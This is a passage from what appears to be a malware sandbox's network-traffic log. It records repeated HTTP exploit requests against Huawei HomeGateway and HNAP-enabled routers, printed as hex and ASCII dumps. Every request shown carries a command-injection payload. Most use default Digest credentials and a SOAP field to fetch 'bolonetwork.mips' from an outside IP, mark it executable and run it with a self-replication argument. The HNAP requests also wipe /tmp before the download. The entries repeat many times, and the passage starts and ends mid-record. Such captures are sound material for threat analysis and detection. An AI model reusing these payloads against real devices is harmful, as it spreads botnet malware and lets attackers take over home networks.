s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 